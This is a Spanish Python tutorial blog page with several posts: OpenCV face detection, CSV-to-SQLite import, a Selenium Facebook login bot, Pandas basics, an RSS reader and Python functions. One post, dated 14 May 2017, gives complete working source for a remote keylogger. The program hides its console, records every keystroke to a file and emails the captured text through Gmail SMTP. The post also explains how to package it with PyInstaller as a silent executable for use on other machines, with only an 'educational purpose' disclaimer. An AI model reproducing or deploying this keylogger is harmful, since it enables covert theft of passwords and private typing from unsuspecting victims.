Google+ Seguidores

domingo, 18 de junio de 2017

Detección de rostros con Python y OpenCV

La la entrada de hoy veremos un sencillo script en Python para detectar rostros, hacer reconocimiento facial, que utiliza la librería OpenCV.
La librería OpenCV está escrita en C, pero existe una extensión para trabajar con Python.

Vamos al grano. Para hacer que el script funcione, debemos de tener instalado Python y OpenCV. Imagino que python ya lo tienes instalado, pero quizá OpenCV no, para esos utilizaremos PIP

-- pip install opencv-python

Bien, ahora debemos descargar el siguiente XML que contiene lo necesario para detectar rostros de frente: http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Ingresas a la URL, click derecho, guardar como (necesitas saber donde lo guardas para pasar la ruta al Script)

Como dije anteriormente, este XML nos servirá para detectar rostros frontales, pero existen otros archivos XML como el anterior con más funcionalidades, por ejemplo para detectar manos, perfiles, etc.

Aquí tienes un montón de ejemplos máshttps://gist.github.com/npinto/3632388

Para el ejemplo utilice la siguiente imagen:


Y el resultado fue el siguiente:


Como podrás observar, uno de los rostros no fue detectado. También podrás observar que el rostro que no fue detectado utiliza gafas y está un poco más oscuro.
Por lo tanto también podemos decir que la detección no es perfecta, no es algo fácil ni exacto.

Ahora el código:

import cv2

def detect(path):
    img = cv2.imread(path)
    # Pasamos la ruta del XML
    cascade = cv2.CascadeClassifier("C:\Users\Admin\Desktop\haarcascade_frontalface_alt.xml")
    rects = cascade.detectMultiScale(img, 1.3, 4, cv2.CASCADE_SCALE_IMAGE, (20,20))

    if len(rects) == 0:
        return [], img
    rects[:, 2:] += rects[:, :2]
    return rects, img

def box(rects, img):
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
    # Ruta donde guardaremos la imagen con la deteccion de rostros
    cv2.imwrite('C:\Users\Admin\Desktop\prueba.jpg', img);

# Pasamos la imagen que quremos detectar
rects, img = detect("C:\Users\Admin\Desktop\Imagen.jpg")
box(rects, img)

Y esto es todo amigos, espero esta entrada sea de su agrado y pueda ser de guía para sus futuros proyectos de detección de rostros!!!

Fuente: http://fideloper.com/facial-detection
Seguir Leyendo

jueves, 25 de mayo de 2017

Como escribir datos CSV en una base de datos SQLite con Python

En esta corta entrada, veremos un sencillo código que pasa datos de un archivo CSV a una tabla SQLite con las bibliotecas de Python: sqlite3 y csv.



Quizá te interese ver también algunos artículos relacionados que escribí ya hace algún tiempo:
Para este ejemplo, utilice un archivo .CSV con las primeras 10 posiciones de la competencia "Giro de Italia" (Ciclismo, por si alguno no conoce). Este archivo tiene 4 columnas (Posición, Nombre, Equipo y Tiempo)


Ahora, vamos al código:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# www.pythondiario.com

import sqlite3
import csv

#Abrimos el archivo CSV
f=open('C:\Users\Admin\Desktop\Posiciones.csv','r') 
#Omitimos la linea de encabezado
next(f, None)
reader = csv.reader(f, delimiter=';')

#Crea la BD en la carpeta donde se encuentra el script
sql = sqlite3.connect('Posiciones.db')
cur = sql.cursor()

#Creamos la tabla si no existe
cur.execute('''CREATE TABLE IF NOT EXISTS posiciones
            (posicion int, nombre text, equipo text, tiempo text)''')

#Llenamos la BD con los datos del CSV
for row in reader:
    cur.execute("INSERT INTO posiciones VALUES (?, ?, ?, ?)", (row[0], row[1], row[2], row[3]))

#Muestro las filas guardadas en la tabla
for row in cur.execute('SELECT * FROM posiciones'):
    print(row)

#Cerramos el archivo y la conexion a la bd
f.close()
sql.commit()
sql.close()


Simple descripción: Primero importamos las librerías necesarias (sqlite3 y csv), luego abrimos el archivo .CSV y omitimos la primera línea (el encabezado). Luego nos conectamos a la BD (que se creará en la carpeta donde ejecutemos el script). Creamos la tabla (si no existe), llenamos los datos con un for y luego los recorremos e imprimimos con otro for. Por último hacemos el cierre del archivo y la conexión a la BD.

En los comentarios del código explico que es cada linea. Espero sea de ayuda.
Como siempre, cualquier duda o sugerencia la dejan al final de la entrada!!!

Fuente: http://adamantine.me/index.php/2017/05/22/how-to-write-data-to-a-sqlite-database-in-python/
Seguir Leyendo

domingo, 14 de mayo de 2017

Como crear un Keylogger remoto con Python

Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)

Puede que el equipo donde quieras probarlo no tenga Python, ni los módulos que el script utiliza, por eso crearemos un archivo ejecutable con PyInstaller y así podremos utilizarlo desde cualquier equipo.



El propósito de la entrada es con fin educativo, no me responsabilizo del uso que hagan con el. Depende completamente de ti!!!

Para que funcione, necesitamos tener instalado
  • pythoncom y pyHook: para capturar los eventos del teclado
  • PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
  • smtplib: módulo para enviar correo
  • pyinstaller: para crear un ejecutable del Keylogger.py

Explicando cada funcionalidad del Keylogger


Envío de correo: ya hace un tiempo cree una entrada sobre el envío de correo con Python. Puedes ver la entrada en el siguiente link: Enviar correo con python
Esta función es la encargada de enviar el correo electrónico. Cualquier error será atrapado en el try - except


Captura de teclado: esta función se encarga de ir capturando lo que se presiona en el teclado e ir guardándolo en el archivo output.txt. Si se presiona Control + E el programa finaliza. Cuando se presione la primera tecla, el keylogger enviará un correo con el texto "Arrancando..." dando a entender que el programa está en funcionamiento. Esta funcionalidad se repetirá constantemente 


Código completo Keylogger.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
    
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
 
# www.pythondiario.com
########################################################
# CONFIGURAR VARIABLES
########################################################

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#crea el archivo .txt 
f=open("c:\output.txt","w+")
f.close

#Variable que cuenta las tecas presionadas
count = 0

########################################################
# FUNCIONES
########################################################

def send_email(message):

    try:
        
        # Datos
        fromaddr = 'tuCorreo@gmail.com'
        toaddrs = 'tuCorreo@gmail.com'
        username = 'tuCorreo@gmail.com'
        password = 'tuContraseña'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()

    except:

        pass


def OnKeyboardEvent(event):
    
    global count
    count += 1 
    #presiona CTRL+E para salir
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #abre output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Envia los ultimos 500 caracteres
            capturado = buffer[-500:].replace("\n","
")
            send_email(capturado)
            count = 0
          
        #abre output.txt escribe y suma nuevas pulsaciones
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)

        #si se presiona ENTER
        if event.Ascii==13:
            keylogs='\n'

        #si se preciona ESPACIO 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()

        
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
     

Crear el ejecutable con pyInstaler

Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:
python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py

--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta

Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.


Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows

Saludos, Diego
Seguir Leyendo

lunes, 8 de mayo de 2017

Python y Selenium: Cómo construir un bot simple de inicio de sesión automático

La idea de hoy es mostrarles un simple Login automático (en este caso para Facebook) utilizando como herramientas: Python + Selenium.

Si bien a la aplicación que accederemos en este ejemplo es Facebook, con algunos sencillos cambios podremos acceder a las aplicaciones que sean necesarias.



El ejemplo fue realizado con Windows 7 y navegador Chrome (también se podría haber utilizado Mozilla Firefox)

Lo primero, en caso de no tener ya instalado el módulo selenium, es instalar dicho módulo. Para ello utilizamos el comando: pip install -U selenium (si no tienes instalado pip, puedes pasarte por esta entrada).

Lo siguiente (fue la solución que encontré momentánea), es descargar el ejecutable: Selenium Chrome Driver, que abrirá el navegador Chrome para realizar nuestras tareas automatizadas (también existe uno para Mozilla Firefox). Este controlador es una forma simple de abrir Chrome para acceder a las operaciones estándar del navegador mediante programación.
El ejecutable lo puedes guardar donde quieras, luego hay que indicar en el código la ruta del mismo (en este caso se encuentra extraido en el escritorio).

Para obtener la información necesaria:

  • Ingresamos en la url: www.facebook.com
  • Luego nos posicionamos con el mouse sobre el TextBox del correo, presionamos con el botón secundario y elegimos la opción "Inspeccionar"
  • Debemos capturar el ID de ese TextBox, en este caso: "email"

  • Lo mismo para el TextBox de la contraseña
  • Por último debemos capturar el elemento "Type" del botón "Iniciar Sesión" como lo muestra la imagen (en este caso "submit")


Ya con estos datos recolectados solo nos queda escribir el código:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Url: http://www.pythondiario.com
# Autor: Diego Caraballo

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time

#Ruta donde guardamos chromedriver.exe
browser = webdriver.Chrome("C:\Users\Admin\Desktop\chromedriver\chromedriver.exe")
browser.get("https://facebook.com") 
time.sleep(5)

#Datos que extraemos de la pagina inspeccionando elemento
username = browser.find_element_by_id("email")
password = browser.find_element_by_id("pass")

#Cambiar las credenciales
username.send_keys("tu_correo")
password.send_keys("tu_contraseña")

#Emula el hacer click en "Iniciar Sesion"
login_attempt = browser.find_element_by_xpath("//*[@type='submit']")
login_attempt.submit()

Y esto sería todo amigos, lo que queda es seguir investigando, escribir código y crear nuestros propios scripts automatizados.

Cualquier sugerencia o duda no olviden dejar sus comentarios al final de la entrada.

Saludos, Diego
Seguir Leyendo

sábado, 22 de abril de 2017

Introduccion a Pandas para el analisis de datos

Pandas es una biblioteca de código abierto escrita en Python y se utiliza para la manipulación y análisis de datos.

Ésta pretende ser una simple entrada introductoria para los que nunca han utilizado la biblioteca Pandas. Espero les guste!!!

Introduccion a Pandas para el analisis de datos

Para su instalación podemos utilizar pip: pip install pandas (Puedes ver Como instalar pip)

pip install pandas


Bien, una vez instalado, vamos a leer datos de un archivo CSV:
Las pruebas las realice en un sistema con Windows 7

import pandas
pandas.read_csv('C:\Users\Admin\Desktop\contact_1.csv')


Podemos guardar estos datos en una variable para que nos sean más útil:

df = pandas.read_csv('C:\Users\Admin\Desktop\contact_1.csv')
df


Para imprimir las primeras 2 filas:

print df.head(2)


Para visualizar el tipo de variable de df:

type(df)


La forma del objeto:

print df.shape


Más información como encabezado de columna, tipo e información:

print df.columns
print df.dtypes
print df.info()



Espero que esta entrada pueda ser de ayuda para sus futuros proyectos con la biblioteca Pandas. En futuras entradas seguiré escribiendo sobre esta maravillosa biblioteca:

Fuente: https://medium.com/devops-world/introduction-to-pandas-for-data-analysis-c14bb9b1c21b
Seguir Leyendo

viernes, 7 de abril de 2017

Lector de RSS en Python usando feedparser

En esta entrada lo que aprenderemos será el uso de un módulo de python el cual se llama feedpareser, con el que podremos tener acceso a la lectura de feeds (rss) mediante python.

Lector de RSS en Python usando feedparser

Hoy veremos como obtener los rss del blog de manera simple, para ello utilizaremos la consola, pero con unos pequeños cambios podremos adaptarlo a nuestras necesidades, por ejemplo utilizando GUI, exportarlos a una planilla Excel, guardarlos en Google Drive, etc

Autor de la entrada: noxonsoftware
Email: noxonsoftwares0@gmail.com
Blog: noxonsoftwares.blogspot.com

Lector de RSS en Python usando feedparser


Para que el script funcione es necesario tener instalado el módulo feedpareser, esto se puede hacer mediante: pip install feedparser
Si no tienes instalado PIP y no sabes como hacerlo, puedes pasarte por esta entrada: Como instalar pip en Linux y Windows

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Lo primero que hacemos es importar el modulo feedparser:
import feedparser

url = 'http://feeds.feedburner.com/MiDiarioPython'

# delcaramos que es lo que leera el feedparser
rss = feedparser.parse(url)

# recorremos todos los post que aparecen en el RSS
# para luego mostrar solamente el titulo y el link

for post in rss.entries:
 print(post.title + ":" + post.link)

# de caso contrario si solo queremos ver el primer post
# lo que hacemos sera colocar de la siguiente manera
# siendo que todo esta indexado

# esto nos mostrara la primer entrada
print(rss.entries[0]['title'])

# si queremos ver la segunda entrada seria de la siguiente manera
print(rss.entries[1]['title'])

# ahora si queremos ver solamente el link de la segunda entrada 
# seria de la siguiente manera
print(rss.entries[1]['link'])

# viendo el titulo y el link de la segunda entrada
entrada = rss.entries[1]
print(entrada.title + " - " + entrada.link)
Seguir Leyendo

jueves, 16 de marzo de 2017

Funciones en python


Funciones

"Una función es una porción o bloque de código reutilizable que se encarga de realizar una determinada tarea." Decode.la

Pensemos en lo más simple. Sabemos que los electrodomésticos tienen sus determinadas funciones. Una funcionalidad de un equipo de sonido es reproducir el contenido mp3 de un disco, usb,etc . Cuando El equipo de sonido  opera “pide” un dispositivo y a cambio (si todo va bien) “devuelve” la  reproducción.



def canciones():
   
print("1) depacito "
          "2) chantaje "
)

print(canciones())

En programación, es necesario el uso de funciones porque nos permite ayy muchas cosas, wuuu como: ahorrar código,…

Sintaxis

def nombre(parámetros):
         Instrucciones

Nombre= debe ser acorde a lo que realice
Parámetros= lo que recibe la función
Instrucciones= código a realiza la función

Características:
·        No todas las funciones reciben o retornan
·        Si la función retorna, la sintaxis debe contener return variable, donde variable almacena el fin de la función.
·        Una función puede retornar más de un valor, ej: puede retornar una lista,tupla,etc.
·        La vida de toda función con valor a retornar termina cuando se declara “return”
Existen funciones propias de python como el módulo geometría la cual tiene las funciones para calcular el área del circulo, cilindro, etc.

Parámetros empaquetados
De la misma manera que una función pueda retornar más de un valor , puede recibir.

Parámetros por omisión
Se utiliza para que la función funcione en el caso de que los valores a recibir no estén completos.

Si queremos crear un archivo con múltiples funciones es posible que nos confundamos al momento de llamar a la función, por ello consideramos dos partes:

No obstante!!, es recomendable que seamos ordenados en el código, incluso para los futuros proyectos.
Crear un  package de python…., un Gif vale más que mil palabras:


 Desde ahora, lo que programemos será en funciones, sin duda. :)



Seguir Leyendo

Entradas más recientes

Powered by Blogger .